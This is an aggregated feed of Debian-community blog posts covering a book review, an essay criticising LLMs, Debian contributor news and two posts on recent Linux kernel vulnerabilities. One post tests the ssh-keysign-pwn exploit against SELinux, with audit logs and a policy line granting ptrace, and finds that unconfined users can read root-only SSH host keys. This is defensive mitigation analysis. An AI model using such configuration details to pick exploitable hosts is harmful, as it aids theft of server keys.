Postponing the decision to pivot allows you to get a bit more data for the decision, so that once you pivot, you have full belief in the new direction. Once you pivot, there is no looking back, otherwise you will undermine morale and most certainly fail with the new thing as people will execute it with hesitation.

Failure is statistically always the more likely outcome. Most things end in failure and we never hear about them. If someone on your team does not believe in what you are doing, it is very easy for them to “prove” that something is a failure by spreading negativity, putting in less effort (perhaps unconsciously due to lack of conviction) and thus actually contributing to a self-fulfilling failure.

In most areas of life, ideas are cheap and the only thing that matters is execution. To be good at executing, you need to be good at making decisions. When drafting plans it is good to have alternatives and a lot of consideration. However, when execution starts, there is no room for doubt, otherwise the chances of success decrease.

Therefore, the best way of balancing persistence vs pivoting is to

  1. plan well ahead,
  2. establish the key metrics,
  3. have thresholds established for what would trigger a pivot, and
  4. do everything you can to move the metrics in the direction you want them to go.

Finally, if you decide to pivot, you must do so only with very high conviction, as you can’t undo a pivot, and you should not be doing multiple pivots in a row either. If you are fully convinced yourself about the pivot, you will also be able to convince others about it, and carry the momentum.

  •  

Russ Allbery: Review: Unwinding Anxiety

17 Mei 2026 om 04:52

Review: Unwinding Anxiety, by Judson Brewer

Publisher: Avery
Copyright: 2021
ISBN: 0-593-33045-5
Format: Kindle
Pages: 268

Unwinding Anxiety is a non-fiction self-help book about how to reduce anxiety. The author is a board-certified psychiatrist specializing in addiction and substance abuse, who has subsequently done clinical and research (and commercial, more on that later) work in anxiety. His previous book, The Craving Mind, was a pop science treatment of addiction research. This book is more deliberately structured as a self-help guide.

(The cover will assure you that he has an M.D. and a Ph.D. I don't include honorifics and degrees in author listings as a small protest against the weird social rules about which degrees count and which don't.)

There are a lot of self-help books out there about anxiety. There are a lot fewer that say something relatively original. I think this is one of the latter, but I certainly have not done a survey of the subgenre, and it's possible the ideas here are only new to me. Brewer makes three basic claims in this book, all of which I found personally useful:

  1. Anxiety can be usefully analyzed as a habit. The rumination loop and other related anxiety behaviors such as excessive analysis, reassurance-seeking, and negative anticipation take the form of deeply ingrained habits triggered by stimuli.

  2. Raw willpower is not a useful way to break habits in general and anxiety habits in particular. In order to displace the habit, you have to retrain the part of your brain that runs habits on autopilot. Attempting to override it with willful effort is exhausting and likely to fail.

  3. Habit loops in general, and anxiety loops in particular, can be defused and replaced using mindfulness techniques.

This is not the way Brewer lays out the book. He goes to some effort to lead the reader slowly through three techniques for handling anxiety (for which he uses the metaphor of "gears," like for a bicycle or car) by introducing them one at a time and encouraging the reader to become thoroughly familiar with each one before moving on to the next. Since this is a book review, I'm going to give you the whole argument at once so that you know where this book is going. This may be less helpful in practice; if you're trying to use this technique on your own anxiety, you may want to read the book instead and not jump ahead.

Brewer's three gears are:

  1. Identify your habit loops and recognize when they're happening. (This part felt the most similar to traditional cognitive behavioral therapy to me.)

  2. Focus on how those habit loops make you feel. Rather than trying to force the habit loop to stop, let it happen but pay very close attention to the outcome and its effects on you.

  3. Find and focus on a different reaction that provides better rewards than the anxiety habit loop. Brewer suggests curiosity.

For me, the point where I thought "okay, you have my attention" is when Brewer described the way many people, particularly people without anxiety, tell people with anxiety to "just stop thinking about it" or "just do the thing you're anxious about anyway and you'll see it will be fine" and then described in detail why he believes that doesn't work. This is one of the few discussions of anxiety I've read where the author goes out of his way to stress that you cannot simply think your way out of anxiety and that repeatedly trying to do so and failing is exhausting and demoralizing.

Everyone is different and I know some people find cognitive behavioral therapy very helpful, but I find the constant effort to challenge cognitive distortions more draining and demoralizing than useful. His second gear, of not directly confronting the habit loop but instead watching its effect and thinking about its outcome, feels so much more approachable to me. Assuming, of course, it works.

Brewer's approach is essentially just mindfulness, although he mostly avoids the (to me at least) somewhat off-putting typical introduction to mindfulness via religious practice or general well-being and instead ties it to a theorized model of how habits work in the human brain. His contention is that habits, including anxiety, exist because at some point they provided a reward that was sufficiently compelling to make the habit-following part of your brain seek that reward. You were getting some benefit (a sense of control, a sense of being prepared, temporary reassurance, etc.) out of the anxiety reaction, which is why the anxiety habit formed in the first place. Once that habit is in place, it can continue without the reward. (Although in my experience there is probably still some short-term reward.)

Rather than trying to force yourself to stop following the habit, Brewer instead suggests letting the habit happen but then focusing (via mindfulness) on how following the habit makes you feel, whether it improves your sense of well-being or worsens it, and whether other actions produce different feelings. The goal, in other words, is to undermine the assumption of reward and to challenge any short-term reward with the long-term discomfort that made you want to stop being anxious.

This avoids using your conscious brain to exert direct willpower, which is exhausting and usually unsuccessful since the habit-following part of your brain is stronger (for various evolutionary psychology reasons he explains and that I found at least partly credible). Instead, you are using its strengths of observation and classification. You pay close attention to the ways in which the habit loop makes you feel bad, which in theory provides feedback to the habit-following part of your brain that can dislodge the habit. If the habit is recognized as no longer rewarding, it will weaken.

Brewer's background is in addiction treatment, so he is predisposed to see addiction in everything and one should probably be a bit cautious about his enthusiasm. He claims a great deal of success with this approach in clinical settings, mostly with addiction but also with anxiety, but this is always hard to verify. (Few doctors who write self-help books rigorously document their failures.) He apparently also has a company that produces various phone apps that assist with this technique. I'm rather cynical about anyone who talks about products their company has produced in self-help books of this type, and I'm also rather cynical about anyone who calls himself "Dr. Jud," but the book doesn't seem to be a sales pitch and there's no direct information in it about how to get the apps.

For me, the first two parts of the book were the most useful and the conception of anxiety reactions as habits made a surprising amount of intuitive sense. I thought the third part of the book, where he tries to describe a better in-the-moment reaction that you can try to build into a more beneficial habit, to be the weakest. It's mostly stock mindfulness advice that I've seen in other places, and you will be entirely unsurprised to learn that Brewer meditates and has studied meditation. I think it's clear that, for him, a feeling of curiosity works as an anxiety replacement; I'm not sure that's universal and I'm not sure it works for me.

That core idea that anxiety reactions are a type of addictive habit that have outlived their useful rewards but continue because habits are hard to change felt both useful and at least a little bit true, though. Your mileage may, of course, vary, but I've been trying out various ideas from this book since I first started reading it, and I think it's helping. If any of this clicks with you and you're also prone to anxiety, it might be worth a read.

One warning, though: Brewer's previous work on addiction includes binge eating, and while it's not a primary focus, he uses several weight loss and disordered eating examples and has a very traditional medical attitude towards weight. I'm somewhat dubious of the addiction model of weight gain in general, but more to the point, it's rather off-putting in a book supposedly about anxiety. It's something I was able to skim over, but be aware going in if you're likely to find this obnoxious.

I do think this book is a case of an addiction researcher seeing everything through the lens of addiction, and I'm a little dubious this is the right model for everyone's anxiety. But this is one of the good reasons why there are a lot of books about anxiety: Different approaches suit different people. This one made more sense to me than most; maybe you are similar.

I can't really recommend or not recommend a book like this, since I think so much will depend on whether you are one of the people for whom this specific explanation will click, but I'm glad that I read it and I think it's good to know that this model of anxiety exists.

Rating: 8 out of 10

  •  

Antoine Beaupré: The Four Horsemen of the LLM Apocalypse

15 Mei 2026 om 23:25

I have been battling Large Language Models (LLM1) for the past couple of weeks and have struggled to think about what it means and how to deal with its fallout.

Because the fight has come from many fronts, I've come to articulate this in terms of the Four Horsemen of the Apocalypse.

Sound track: Metallica's The Four Horsemen, preferably downloaded from Napster around 2000, but now I guess you get it on YouTube.

War: bot armies

Let's start with War. We've been battling bot armies for control of our GitLab server for a while. Bots crawl virtually infinite endpoints on our Git repositories (as opposed to downloading an archive or shallow clone), including our fork of Firefox, Tor Browser, a massive repository.

At first, we've tried various methods: robots.txt, blocking user agents, and finally blocking entire networks. I wrote asncounter. It worked for a while.

But now, blocking entire networks doesn't work: they come back some other way, typically through shady proxy networks, which is kind of ironic considering we're essentially running the largest proxy network of the world.

Out of desperation, we've forced users to use cookies when visiting our site. We haven't deployed Anubis yet, as we worry that bots have broken Anubis anyways and that it does not really defend against a well-funded attacker, something which Pretix warned against in 2025 already.

(We have a whole discussion regarding those tools here.)

But even that, predictably, has failed. I suspect what we consider bots are now really agents. They run full web browsers, JavaScript included, so a feeble cookie is no match for the massive bot armies.

Side note on LLM "order of battle"

We often underestimate the size of that army. The cloud was huge even before LLMs, serving about two thirds of the web. Even larger swaths of clients like government and corporate databases have all moved to the cloud, in shared, but private infrastructure with massive spare capacity that is readily available to anyone who pays.

LLMs have made the problem worse by dramatically expanding the capacity of the "cloud". We now have data centers that defy imagination with millions of cores, petabytes of memory, exabytes of storage.

I thought that 25 gigabit residential internet in Switzerland could bring balance, but this is nothing compared to the scale of those data centers.

Those companies can launch thousands, if not millions of fully functional web browsers at our servers. Computing power or bandwidth are not a limitation for them, our primitive infrastructure is. No one but hyperscalers can deal with this kind of load, and I suspect that they are also struggling, as even Google is deploying extreme mechanisms in reCAPTCHA.

This is the largest attack on the internet since the Morris worm but while Robert Tappan Morris went to jail on a felony, LLM companies are celebrated as innovators and will soon be too big to fail.2

Which brings us to the second horsemen, famine.

Famine: shortages

All that computing power doesn't come out of thin air: it needs massive amounts of hardware, power, and cooling.

Earlier this year, I've heard from a colleague that their Dell supplier refused to even provide a quote before August. Dell!

In February, Western Digital's hard drive production for 2026 was already sold out. Hard drives essentially doubled in price within a year, and some have now tripled. A server quote we had in November has now quadrupled, going from 10 thousand to FORTY thousand dollars for a single server.

But regular folks are facing real-life shortages as well, as city-size data centers are being built at neck-breaking speed, stealing fresh water and energy from human beings to feed the war machine.

We've been scared of losing our jobs, but it seems that Apocalypse has yet to fully materialize. Regardless for engineers, the market feels tighter than it was a couple years ago, and everyone feels on edge that they will just have to learn to operate LLMs to keep their jobs.

Update: it turns out I was clearly too optimistic. Cisco is laying off 4,000 or 5% of its staff in a jolly announcement celebrating a record $15.8 billion revenue, and Meta will lay off 8,000 or 10% of its workforce, in horrifying conditions. See also the jobloss.ai tracker which counts 125,000 jobs lost since January 2025, as of May 2026.

Which brings us, of course, to Death.

Death: security and copyright

Our third horseman is one I did not expect a couple of months ago. Back at FOSDEM, curl's maintainer Daniel Stenberg famously complained about the poor quality of LLM-generated reports but then, a few months later, everyone is scrambling to deal with floods of good reports.

In the past two weeks, this culminated in a significant number of critical security issues across multiple projects. Chained together, remote code execution vulnerabilities in Nginx and Apache and two local privilege escalations in the Linux kernel (dirtyfrag and fragnesia) essentially gave anyone root access to any unpatched server to the web.

As I write this, another vulnerability dropped, which gives read access to any file to a local user, compromising TLS and SSH private keys.

All those vulnerabilities were released without any significant coordination while people scrambled to mitigate.

Many people including Linus Torvalds are now considering issues discovered through LLMs to be essentially public. This puts some debates about disclosure processes in perspective, to say the least.

But this is not merely the death of the traditional coordinated disclosure process, the C programming language, or the Linux kernel: remember that those bots are trained on a large corpus of copyrighted material. Facebook has trained their models on pirated books and Nvidia has done deals with Anna's Archive to secure access to large swaths of copyrighted material. The US Congress seems to think LLM outputs are not copyrightable, like any other machine outputs.

With many people now vibe coding their way out of learning or remembering how computers work, is this the Death of Copyright?

And that, of course, brings us to the final horseman: Pestilence.

Pestilence: slop

There is a growing meme that programming is essentially over as we know it. That you can simply vibe-code applications from scratch and it's pretty good.

Maybe that's true.

So far, most of my attempts at resolving any complex problem with a LLM have often failed with bizarre failures. Some worked surprisingly well. Maybe, of course, I am holding it wrong.

I personally don't believe LLMs will ever be good enough to produce and maintain software at scale. They're surprisingly good at finding security flaws right now. But what I see is also a lot of Bullshit, with a capital B. It's not lying: it does not "know" anything, so it can't lie. It's misleadingly cohesive and deliberate, but it lacks meaning, intent, will.

I have not been confronted with much slop, apart from the lobster Jesus or the yellow man atrocities, and particularly not in my work. But I see what it is doing to my profession: beyond vibe-coding, people are now token-maxxing, and land-grabbing their colleagues.

I don't like what LLMs do to our communities, or the fabric of software we live with.

Software does not evolve in a void. It is a team effort, be it free software or a corporate product. Generations of humans have carefully built the scaffolding of technology required for modern networks and software to operate, in a convoluted contraption that no single human fully understands anymore.

The idea of simply giving up on that understanding entirely and delegating it to an unproven model is not only chilling, it feels just plain stupid. Not stupid as in Skynet, stupid as in "I can't get inside the data center because the authentication system is down". Except we're in a "the power plant doesn't reboot" or "their LLM found an 0day in our slop" kind of stupid.

The fifth horsemen

Researching for this article, I looked up the four horsemen and found out they original seems to have been:

  • Famine
  • War
  • Death
  • Conquest (??)

I was surprised. I grew up thinking about the horsemen being Famine, War, Pestilence, and Death. So I went back to my original source which actually claims the horsemen are:

Time has taken its toll on you, the lines that crack your face.
Famine, your body, it has torn through, withered in every place.
Pestilence for what you've had to endure, and what you have put others through
Death, deliverance for you, for sure, now there's nothing you can do

So I guess that makes no sense either, which, fair enough, I shouldn't rely on Metallica for theological references. Especially since that song was originally called Mechanix and was "about having sex at a gas station".

Anyways.

The point is, there are actually five horsemen, and the fifth one is, in my opinion, Conquest.

Those companies (and not "AI", mind you) are taking over the world. I sense a strong connection with the "post-truth" world imposed on us by fascists like Trump and Putin. It's not an accident, it's a power grab part of the Californian Ideology3. Just like Airbnb broke housing, Uber destroyed the transportation and Amazon is taking over retail and server hosting, LLM companies are essentially trying to take over if not everything, at least Cognition as a whole.

But the capitalization of those companies (OpenAI and Nvidia in particular) are so far beyond reason that their inevitable collapse will likely lead to a global financial collapse of biblical proportions.

Because they will inevitably fail like previous bubbles they are built on. And when they fail, I hope it zips all the way back through the blockchain scam, the ad surveillance system, and the dot com then git me back my internet.

The Tower of Babel

While I'm off in the woods hallucinating (ha!) on biblical allegories, I feel there's another sign that the apocalypse is coming.

The Tower of Babel myth says that humans tried to create a big tower up to heaven and become god. God confounds their speech and scatters the human race. End of utopia.

This is what is happening to our human translators now. LLMs being, after all, Language Models, they are excellent at translation work. So much that the only translators not replaced by LLMs right now are interpreters, who translate vocally in real time. But interpreters are worried about their jobs as well.

This concretely means we will lose the human capacity, as a civilization, to translate between each other. It is still an open question whether the remaining revision work will be enough for translators to avoid deskilling, but other research has shown that LLM use leads to cognitive decline, impacts critical thinking, and generally, that deskilling is a common outcome.

Ultimately, I think this is where LLMs bring us. Towards collapse.

So this is a call to arms. Fight back!

Poison bots. Build local real-world communities.

Go low tech. Moore's law is dead, make use of it.

Patch your shit. Go weird.

Refuse slop. Train your brain. Refuse distillation.

The horsemen will collapse, but let's not go down with them.

Butlerian Jihad!

This article was written without the use of a large language model and should not be used to train one.

Updates

  • A paragraph was added about the job apocalypse, which was of course under-estimate.

  • Why Timnit Gebru was fired is extremely important and interesting. The co-lead of the Ethical AI team at Google was fired because they blew the whistle on "stochastic parrots" essentially destroying the world as we know it:

    The fifth warning was the one Google cared about most. [...]

    The internet would become a place where the dominant voice was a statistical average of dominant voices, presented as a neutral assistant.

    The warnings from the paper are eerily similar to my horsemen:

    1. predicted the hallucination (pestilence)
    2. bias amplification (war?)
    3. environmental cost (famine)
    4. un-auditable training corpus (death?)
    5. "centralize linguistic and cultural power in the hands of the small number of companies" (conquest)
  • See also Tim Wu's "The Master Switch" which says:

    The industry learned how to secure the enactment of seemingly innocuous and sensible regulations that nonetheless spelled doom for any rival.

    People claim the same about Anthropic.


  1. I prefer "LLM" to Artificial Intelligence, as I don't consider models to have "Intelligence" which goes far beyond the analytical traits we train models for. Intelligence requires embodiment and social interaction; machines lack the innate human skills of empathy, feeling and care, which explains a lot of the evils behind the current trends.
  2. It should be noted that Morris also happened to be one of the founder of Y Combinator where he is in good company with other techno-fascists like Peter Thiel, Sam Altman, and so on. Crime, after all, pays.
  3. Probably a good time to watch All Watched Over by Machines of Loving Grace.
  •  

Bits from Debian: New Debian Developers and Maintainers (March and April 2026)

15 Mei 2026 om 16:00

The following contributors got their Debian Developer accounts in the last two months:

  • Filip Strömbäck (fstromback)
  • Arthur Diniz (arthurbd)
  • Manuel Traut (manut)
  • Xiyue Deng (manphiz)
  • kpcyrd (kpcyrd)

The following contributors were added as Debian Maintainers in the last two months:

  • Chris Talbot
  • Gabriel Filion
  • Mate Kukri

Congratulations!

  •  

Russell Coker: Debian SE Linux and ssh-keysign-pwn

15 Mei 2026 om 10:48

I just tested out the ssh-keysign-pwn exploit [1] on Debian kernel 6.12.74+deb13+1-amd64 which was released before these exploits.

When sshkeysign_pwn is run as user_t the following is logged in the audit log and it fails to exploit anything:

type=SYSCALL msg=audit(1778831599.951:22353257): arch=c000003e syscall=438 success=no exit=-1 a0=3 a1=c a2=0 a3=1b8020 items=0 ppid=5632 pid=6654 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="sshkeysign_pwn" exe="/home/test/a/ssh-keysign-pwn/sshkeysign_pwn" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=pidfd_getfd AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test"
type=PROCTITLE msg=audit(1778831599.951:22353257): proctitle="./sshkeysign_pwn"
type=AVC msg=audit(1778831599.951:22353258): avc:  denied  { ptrace } for  pid=6654 comm="sshkeysign_pwn" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=process permissive=0

When it is run as unconfined_t the contents of the /etc/ssh/ssh_host_ecdsa_key file are correctly displayed on standard out in about 10ms, the file in question is only readable by root and a non-root user can use this exploit to read it.

It wouldn’t be uncommon to have a system configured to allow users to trace their own processes. The following policy addition grants access for the user to trace their own processes:

allow user_t self:process ptrace;

With that in place the sshkeysign_pwn exploit still doesn’t work and there are logs like the following:

type=AVC msg=audit(1778833455.726:57355191): avc:  denied  { read } for  pid=6941 comm="ssh-keysign" name="ssh_host_rsa_key" dev="vda" ino=15492 scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:sshd_key_t:s0 tclass=file permissive=0
type=SYSCALL msg=audit(1778833455.726:57355191): arch=c000003e syscall=257 success=no exit=-13 a0=ffffffffffffff9c a1=55eadec43061 a2=0 a3=0 items=0 ppid=6933 pid=6941 auid=1000 uid=1000 gid=1000 euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="ssh-keysign" exe="/usr/lib/openssh/ssh-keysign" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=openat AUID="test" UID="test" GID="test" EUID="root" SUID="root" FSUID="root" EGID="test" SGID="test" FSGID="test"

So if you could find some secret data in a file that’s only restricted by Unix permissions and user_t is granted ptrace access then a variant of that exploit could work.

When user_t is allowed ptrace access the chage_pwn exploit fails with the following log entries, so any binary that runs in a different domain can’t be used in that situation.

type=AVC msg=audit(1778833908.020:57434896): avc:  denied  { ptrace } for  pid=7037 comm="chage_pwn" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:passwd_t:s0 tclass=process permissive=0
type=SYSCALL msg=audit(1778833908.020:57434896): arch=c000003e syscall=438 success=no exit=-1 a0=3 a1=5 a2=0 a3=1b7e00000000 items=0 ppid=5632 pid=7037 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="chage_pwn" exe="/home/test/a/ssh-keysign-pwn/chage_pwn" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=pidfd_getfd AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test"

Conclusion

In a “strict” configuration with users having the user_t domain a Debian system is not vulnerable to these exploits unless there is some configuration error or some unusual configuration choices. Users with the unconfined_t domain can successfully run the exploits.

Related posts:

  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...
  2. Dirty Frag on Debian and SE Linux Hot on the heels of the Copy Fail vulnerability [1]...
  3. Google Chrome and SE Linux [107108.433300] chrome[12262]: segfault at bbadbeef ip 0000000000fbea18 sp 00007fffcf348100 error...
  •  

Freexian Collaborators: Debian Contributions: Detecting undeclared file conflicts, contributors.debian.org mini-sprint, security-tracker performance and more! (by Anupa Ann Joseph)

15 Mei 2026 om 02:00

Debian Contributions: 2026-04

Contributing to Debian is part of Freexian’s mission. This article covers the latest achievements of Freexian and their collaborators. All of this is made possible by organizations subscribing to our Long Term Support contracts and consulting services.

Undeclared file conflicts, by Helmut Grohne

The duplication checker, the Multi-Arch hinter, and the /usr-move analyzer share significant parts of their code. While the /usr-move transition is complete, the other tools needed a bit of love. Helmut added Python type annotations, slightly improved the performance of the duplication website and shared more code between these tools.

Building upon this Helmut looked into file conflicts of various kinds such as unrelated packages installing overlapping files, file type conflicts, mismatching directory metadata and shared files of Multi-Arch: same packages with varying content. Implementing reliable detection proved to be difficult due to the amount of corner cases. So Helmut semi-manually filed bugs. In that process, it became apparent that binNMUs do not reproduce SOURCE_DATE_EPOCH across architectures and therefore some shared files embedding the build date would vary in content. Additionally, a significant number of reports required further correspondence.

contributors.debian.org mini-sprint, by Enrico Zini

Enrico Zini met with Mattia Rizzolo to continue the work started at DebConf 25 on crediting contributions done via salsa, and to catch up with accumulated site issues.

Building on the same kind of infrastructure used to notify tag2upload, salsa.debian.org triggers a webping on pushes and merge request activity, which causes a small JSON payload to be queued in a private directory on contributors.debian.org.

We worked on processing, filtering and aggregating the files in the queue into a private, staging database table. When configuring a data source on the site, it is now possible to configure automated submission of contributions from information in the staging table. This makes it significantly simpler to credit contributors for all teams that use Salsa as their code repository and coordination tool, as the site can take care of the data mining for you.

See more details in the sprint report posted to debian-devel-announce.

MiniDebConf Campinas, by Lucas Kanashiro, Santiago Ruano Rincón and Antonio Terceiro

MiniDebConf Campinas was held between April 23rd and 25th, at the State University of Campinas, and was preceded by a MiniDebcamp between April 20th and 22nd. Freexian was Gold sponsor for the event, and Freexian collaborators were active contributors to the conference success.

Lucas and Santiago delivered a talk about Debian LTS during MiniDebConf Campinas 2026, where they described how the LTS project benefits Debian users and developers, while strengthening Debian itself.

Lucas and Antonio delivered a talk about internship programs in Debian during MiniDebConf Campinas 2026, with the goal of getting students interested in working in and with Debian.

Lucas took part in the MiniDebConf Campinas content team, reviewing/accepting talks and building the schedule.

Antonio led a session where he invited the audience to weigh in on current controversies in Debian. The session presented playful elements as colored signs to denote agree/disagree, and was not recorded, to help people feel more comfortable about speaking up. He might be convinced to lead a similar session at the next DebConf.

Antonio also organized a debate to discuss the consequences of new Brazilian regulation for the protection of children and adolescents in digital spaces for Debian and other free operating systems, but also for the free software community in general. This session was very fruitful and will lead into further actions, as one of the main outcomes was the realization that the free software community must follow the discussion leading up to similar regulations more closely to avoid being caught by surprise when they come into effect.

security-tracker performance, by Helmut Grohne and Emilio Pozuelo Monfort

Prompted by spontaneous influx of web requests on Freexian’s security-tracker back in February, we considered the options for managing that demand. One of our mitigations was making it faster. To that end, Helmut sent two MRs towards improving the situation. There are four notable improvements. The use of Python’s str.translate generally speeds up rendering of larger templates. Indexing the CVE names avoids a costly sequential table scan. Avoiding FFI calls while sorting and reducing the queryset speeds up the source package view. Emilio reviewed and deployed the changes on to the Debian instance. Together these changes provide a twofold speedup on both Freexian’s and Debian’s instance on average.

dput-ng data loss bug, by Colin Watson

Ian Jackson (not affiliated with Freexian) reported that dput-ng could lose data when using the local install method, which could cause misleading results in tests of other packages; they also filed an initial merge request to fix it. Colin improved this to isolate its tests properly, and uploaded it.

Miscellaneous contributions

  • Lucas coordinated the src:valkey update to version 9 in unstable with a potential co-maintainer.
  • Lucas provided a security update for src:valkey targeting “trixie”.
  • Thorsten did two uploads of foo2zjs, one to fix a bug and one to improve packaging. As there have been several CVEs published for cups he also did an upload of a new upstream version. Unfortunately this introduces a regression and another upload was needed to take care of a crash. The patch for one CVE also broke a test script, which is used by lots of printing packages in Debian. As a result some autopkgtest runs failed. This could be fixed as well and the only remaining issue that needs some more investigation is related to cups-pdf. It is also worth mentioning that some issues related to the apparmor configuration of cups could be resolved.
  • Helmut sent patches for 11 cross build failures.
  • Helmut sent a MR for enabling the new mainline YT6801 ethernet Linux driver and it is now working fine with Debian’s 7.x kernels.
  • Helmut upgraded a crossqa.debian.net autobuilder to “trixie”.
  • Carles using po-debconf-manager, improved Catalan translations: reviewed 2 packages, submitted 3 packages, deleted 5 packages.
  • Carles did further code developments for check-relations: steps towards making it production ready when the initial round of reports are analyzed. New “show-package” (information) command, improvements for “report_missing” cases, added support for ignoring packages for specific reasons, added unit tests, added CI. Used it to open 39 new bugs. Also followed up different open bugs
  • Raphaël completed the French translation of Zulip for the release of version 12.0. Zulip is a nice 100% free software threaded communication platform for distributed teams.
  • Stefano did routine uploads of python-pipx, python-mitogen, platformdirs, python-authlib, python-discovery, distro-info-data, python-virtualenv, python-certifi, python-wheel, pypy3.
  • Stefano uploaded distro-info-data updates to stable and oldstable proposed updates, with the latest Ubuntu release.
  • Stefano took part in DebConf 26 preparation meetings.
  • Stefano prepared DebConf’s online video streaming infrastructure for MiniDebConf Campinas, and configured the Debian reimbursement system to handle their travel bursary claims.
  • Stefano helped MiniDebConf Hamburg prepare their website for 2027.
  • Stefano did some sysadmin work on debian.social infrastructure.
  • Stefano reviewed Matthias’ python3.15 packaging and rebased his work on top of it.
  • Antonio implemented several improvements to the Debian CI platform, including but not limited to adding support for dark mode, dropping compatibility with ActiveRecord < 7 which is no longer shipped in Debian stable, and generating content-based links to static assets, in two parts.
  • Antonio debugged a general slowness in salsa, caused by loss of IPv6 connectivity between the salsa host and the remote object storage in “the cloud”, which is a problem due to an open upstream bug in gitlab.
  • Santiago reviewed different changes to the Salsa CI pipeline, including the new uscan test job, prepared by Thaís Rebouças Araujo, and the final review to introduce faketime testing, made by Áquila Macedo.
  • Santiago continued helping the DebConf 26 local team to prepare the conference.
  • Emilio updated libxpm to address a security issue.
  • Colin finished upgrading groff to 1.24.1; 1.24.0 and 1.24.1 were the first upstream releases since 2023 and had extensive changes, so this took some time to get right.
  • Colin released “bookworm” and “trixie” fixes for CVE-2026-3497 in openssh, and issued the corresponding BSA-130 for trixie-backports.
  • Colin upgraded openssh to 10.3p1.
  • Anupa worked on the accounting tasks for MiniDebConf Kanpur and prepared and submitted a report to the fiscal host.
  •  

Daniel Baumann: Debian: Linux Vulnerability Mitigation (ssh-keysign-pwn)

15 Mei 2026 om 02:14

After the Linux local root privilege escalations of the last two weeks, the bug of today is ssh-keysign-pwn [CVE-2026-46333] which allows to read root-owned files as an unprivileged user.

Exploiting the vulnerability doesn’t require to load any specific modules like the bugs from the last weeks, this one needs to be fixed by rebooting the system into an updated kernel.

I’ve cherry-picked the upstream commit to fix it in trixie-fastforward-backports (linux 7 backports for trixie), confirmed that the exploits don’t work anymore, and submitted a merge request for sid.

Updates:

  •  

Jonathan Dowland: iPad Mini (2013)

13 Mei 2026 om 16:45

In or around 2014 I bought an iPad Mini (2), and following the normal lifecycle of iOS devices, a major OS update eventually killed it as a useful, general-purpose device: operating it was just too sluggish. It remained useful as a streaming media player for a little while longer until eventually the big streamers (BBC iPlayer, Netflix, etc.) stopped supporting the version of their app which the iPad could install: the last officially supported iOS was 12.4.8 in July 2020, and by November it was officially dead.

Old 32bit games

Old 32bit games

During its useful life, the iPad Mini witnessed Apple's transition from 32 to 64 bit apps. In the 32 bit days, there was a little cottage industry of app developers, and in particular, game developers. There were even several independent websites (App Shopper, Pod Gamer, Free-App Hero), which aided in sorting through the morass of apps to find the good ones (then as now, the App Store itself was almost impossible to effectively browse). This all went away during the 32/64 transition, as many small-scale developers weren't actively developing their applications or games any more, and weren't prepared to pay the time or apple tax to rebuild and publish them as 64 bit.

The last version of iOS that supported 32 bit apps on this device was 10.3.3, and by luck, there are some methods available to install this old version of iOS on the Mini 2 Today. A couple of years ago I did so, and I kept no notes so sadly I can't report on which method I used. But it worked, and I was able to install a bunch of old 32 bit games that I had no access to on more modern devices.

Prior to John Carmack's1 departure from iD Software, he'd been responsible for publishing several experimental iD software games on iOS. These mostly disappeared in the 64 bit transition. Amongst them are ports of Wolfenstein 3D, classic Doom, some RAGE tie-ins, but perhaps most interestingly. at least two original games, designed for the phone form factor: Doom 2 RPG and Wolfenstein RPG.

Reading magazine-style things

Reading magazine-style things

Another notable game that disappeared was "Civilisation Revolution", a cut-down Civ game that for a while I was obsessed with. Rather than port it to 64 bit, the publisher withdrew it, and then published a "new" game "Civilisation Revolution 2", requiring a separate purchase. Sadly, it is rubbish, nowhere near as good as the first one.

Anyway, having managed to downgrade it to the 32 bit iOS and install these old lost games, I then, of course, never played them and the device continued to gather dust. I should make clear that, running such an old unpatched iOS version means it's not safe at all to put any kind of sensitive information on this, including entering passwords. I don't recommend even opening the web browser. However, this 12 year old device does have some use as an e-reader, especially for certain types of ebook or magazine, that I've struggled to engage with on other devices. That's a topic for another blog post.


  1. Carmack reportedly also had a pivotal role in convincing Steve Jobs to permit native apps and provide an App Store on iOS: the plan had been to solely support web apps, at least for 3rd parties.
  •  

Sergio Cipriano: My experience at MiniDebConf Campinas 2026

13 Mei 2026 om 15:05

My experience at MiniDebConf Campinas 2026

Last week, I spent the entire week in Campinas attending MiniDebConf and MiniDebCamp. The Debian Brazil community organizes this event every year, and this year's edition was the biggest so far.

During MiniDebCamp, I sponsored a few uploads and spent two days teaching packaging to two participants. I usually teach packaging online, so it was refreshing to do it in person. I believe the experience was much better than teaching online.

One of my mentees introduced me to the DDTSS (Debian Distributed Translation Server Satellite). Even though there are many i18n contributors in Brazil, this was my first time learning about this system. I plan to contribute to translations over the next few weeks using DDTSS.

My Activities

NOTE: I translated every talk title; the original titles are in PT-BR, so some details may have been lost in translation.

I presented three talks and led one BoF session. The talks are all available on Debian's Peertube:

You can also find my slides at people.d.o.

My first talk was a showcase of dh-make-vim, a tool I created and have been using for a few months. Some people tested it and found bugs, which was really nice to see.

My second talk was essentially a live version of my blog post Zero-Code Instrumentation of an Envoy TCP Proxy using eBPF.

I also gave a lightning talk about something many people are not aware of: non-uploading DDs can also sponsor uploads.

If you're interested, this bug report provides more context: tracker.debian.org: Signed by field is missing when sponsoring as DD non-uploading

Finally, I led the BoF session "Experiences, lessons learned, and next steps from the mentoring sessions". This was my favorite session, we had many participants with different perspectives and ideas, which led to a very engaging discussion. I'm still working on the action plans and I plan to release them soon.

Here are some photos of these activities:

Mentorship BoF

Mentorship BoF

DD non-uploading can upload talk

dh-make-vim showcase

Zero-Code Instrumentation showcase

My favorite activities

This is a list, in no particular order, of some of the sessions I enjoyed the most:

